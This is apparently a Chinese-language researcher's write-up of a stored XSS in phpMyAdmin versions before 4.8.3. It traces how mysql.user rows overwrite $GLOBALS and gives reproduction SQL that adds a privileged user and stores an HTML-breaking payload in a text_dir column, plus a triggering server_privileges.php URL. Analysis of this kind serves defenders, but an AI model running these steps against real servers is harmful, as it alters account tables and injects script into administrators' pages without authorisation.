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010 Phpmyadmin 4.8.3 XSS

Phpmyadmin < 4.8.3 XSS

一、漏洞简介

最近在审计phpmyadmin的时候发现了一个XSS漏洞，后来发现在版本大于4.8.3以后该漏洞被修复了。看了下之前公布的CVE，有个CVE和此漏洞很相似但没有漏洞细节，于是乎便有了这篇文章。

二、漏洞影响

Phpmyadmin < 4.8.3

三、复现过程

在审计phpmyadmin时，我比较关注$GLOBALS全局变量，该变量存储了本次请求的信息、phpmyadmin基本设置信息和phpmyadmin配置文件信息等。先看看/libraries/classes/Server/Privileges.php::3977的以下代码。

foreach ($row as $key => $value) {
    $GLOBALS[$key] = $value;
}

很明显，该处是\(GLOBALS的赋值操作，而\)row来自于对mysql.user表的查询结果，且$user_host_condition可控，

/libraries/classes/Server/Privileges.php::3966行

public static function getDataForChangeOrCopyUser()
    {
        $queries = null;
        $password = null;

        if (isset($_REQUEST['change_copy'])) {
            $user_host_condition = ' WHERE `User` = '
                . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_username']) . "'"
                . ' AND `Host` = '
                . "'" . $GLOBALS['dbi']->escapeString($_REQUEST['old_hostname']) . "';";
            $row = $GLOBALS['dbi']->fetchSingleRow(
                'SELECT * FROM `mysql`.`user` ' . $user_host_condition
            );

既然上述代码会将mysql.user中符合条件的行的列名和值写入\(GLOBALS中,我们便可通过添加mysql.user的列来往\)GLOBALS中写入任意键值。清楚思路后，我们看看哪里调用了Privileges.php的getDataForChangeOrCopyUser函数,发现在server_privileges.php::178中对该函数有调用。

list($queries, $password) = Privileges::getDataForChangeOrCopyUser();

这时我们来试试向\(GLOBALS中写一个\)GLOBALS['xz']='aliyun'。进入mysql库，执行以下2条sql语句向user表添加xz字段，并插入一条数据。

ALTER TABLE user ADD xz varchar(255);
INSERT INTO `user` (`Host`, `User`, `Password`, `Select_priv`, `Insert_priv`, `Update_priv`, `Delete_priv`, `Create_priv`, `Drop_priv`, `Reload_priv`, `Shutdown_priv`, `Process_priv`, `File_priv`, `Grant_priv`, `References_priv`, `Index_priv`, `Alter_priv`, `Show_db_priv`, `Super_priv`, `Create_tmp_table_priv`, `Lock_tables_priv`, `Execute_priv`, `Repl_slave_priv`, `Repl_client_priv`, `Create_view_priv`, `Show_view_priv`, `Create_routine_priv`, `Alter_routine_priv`, `Create_user_priv`, `Event_priv`, `Trigger_priv`, `Create_tablespace_priv`, `ssl_type`, `max_questions`, `max_updates`, `max_connections`, `max_user_connections`, `plugin`, `authentication_string`, `xz`) VALUES ('127.0.0.1', 'test', '*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', '', '0', '0', '0', '0', '', '', 'aliyun');

在/libraries/classes/Server/Privileges.php::3980下断点

$serverVersion = $GLOBALS['dbi']->getVersion();

然后构造http://127.0.0.1/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5 参数请求，change_copy随便给个参数即可，mode必须大于4否则新添加的数据会被删除。

可以看到$GLOBALS['xz']='aliyun'已经成功赋值。

利用构造

有了可控的\(GLOBALS变量后，我们需要寻找触发点。要在一次请求便触发漏洞，公共页面是首选目标。通过全局搜索\)GLOBALS变量，发现在libraries/classes/Navigation/NavigationTree.php::1272的renderDbSelect函数中有使用未过滤的$GLOBALS变量。

$retval .= '<div>';
        $retval .= '<form action="index.php">';
        $retval .= Url::getHiddenFields($url_params);
        $retval .= '<select name="db" class="hide" id="navi_db_select">'
            . '<option value="" dir="' . $GLOBALS['text_dir'] . '">'

继续搜索调用renderDbSelect函数地方，发现libraries\classes\Navigation\Navigation.php::62的getDisplay函数。

public function getDisplay()
    {
        /* Init */
        $retval = '';
        $response = Response::getInstance();
        if (! $response->isAjax()) {
            $header = new NavigationHeader();
            $retval = $header->getDisplay();
        }
        $tree = new NavigationTree();
        if (! $response->isAjax()
            || ! empty($_REQUEST['full'])
            || ! empty($_REQUEST['reload'])
        ) {
            if ($GLOBALS['cfg']['ShowDatabasesNavigationAsTree']) {
                // provide database tree in navigation
                $navRender = $tree->renderState();
            } else {
                // provide legacy pre-4.0 navigation
                $navRender = $tree->renderDbSelect();

继续搜索实例化Naviagtion类并且调用了getDisplay函数的地方，发现libraries\classes\Header.php::440的getDisplay函数有调用。

public function getDisplay()
    {
        $retval = '';
        ...(省略)
                if ($this->_menuEnabled && $GLOBALS['server'] > 0) {
                    $nav = new Navigation();
                    $retval .= $nav->getDisplay();
                }

搜索实例化Header->GetDisplay的方法，发现\libraries\classes\Response.php::100的构造方法中实例化了Header类，而$this-_header又在_getDisplay中被调用。_getDisplay被_htmlResponse调用，_htmlResponse在response函数中被调用。

private function __construct()
    {
        if (! defined('TESTSUITE')) {
            $buffer = OutputBuffering::getInstance();
            $buffer->start();
            register_shutdown_function(array($this, 'response'));
        }
        $this->_header = new Header();
        $this->_HTML   = '';
        $this->_JSON   = array();

\libraries\classes\Response.php::266行

private function _getDisplay()
    {
        // The header may contain nothing at all,
        // if its content was already rendered
        // and, in this case, the header will be
        // in the content part of the request
        $retval  = $this->_header->getDisplay();
        $retval .= $this->_HTML;
        $retval .= $this->_footer->getDisplay();
        return $retval;
    }

\libraries\classes\Response.php::279行

private function _htmlResponse()
    {
        echo $this->_getDisplay();
    }

\libraries\classes\Response.php::438行

public function response()
    {
        chdir($this->getCWD());
        $buffer = OutputBuffering::getInstance();
        if (empty($this->_HTML)) {
            $this->_HTML = $buffer->getContents();
        }
        if ($this->isAjax()) {
            $this->_ajaxResponse();
        } else {
            $this->_htmlResponse();
        }
        $buffer->flush();
        exit;
    }

这里注意__construct中的register_shutdown_function函数，看php manual，意思是说当脚本运行结束或遇到exit后会执行该response函数，

2.png

意思就是说只要哪里实例化了Response类，在程序运行结束后就会执行response函数。真好，回到server_privileges.php::34行，发现有实例化Response。

$response = Response::getInstance();
$header   = $response->getHeader();
$scripts  = $header->getScripts();

拥有以上调用链后，只需要控制$GLOBAS的键为text_dir,值为XSS payload即可，进入mysql库，执行以下sql语句修改列名xz为text_dir，并修改数据为XSS Payload。

ALTER TABLE `user` CHANGE `xz` `text_dir` VARCHAR(255) CHARACTER SET utf8 COLLATE utf8_bin NULL DEFAULT NULL;
UPDATE `user` SET `text_dir` = '\"><img src><option dir=\"' WHERE `user`.`Host` = '127.0.0.1' AND `user`.`User` = 'test';

构造**http://url/phpMyAdmin-4.8.2/server_privileges.php?change_copy=aa&old_username=test&old_hostname=127.0.0.1&mode=5**

3.png

成功触发XSS

参考链接

https://xz.aliyun.com/t/7797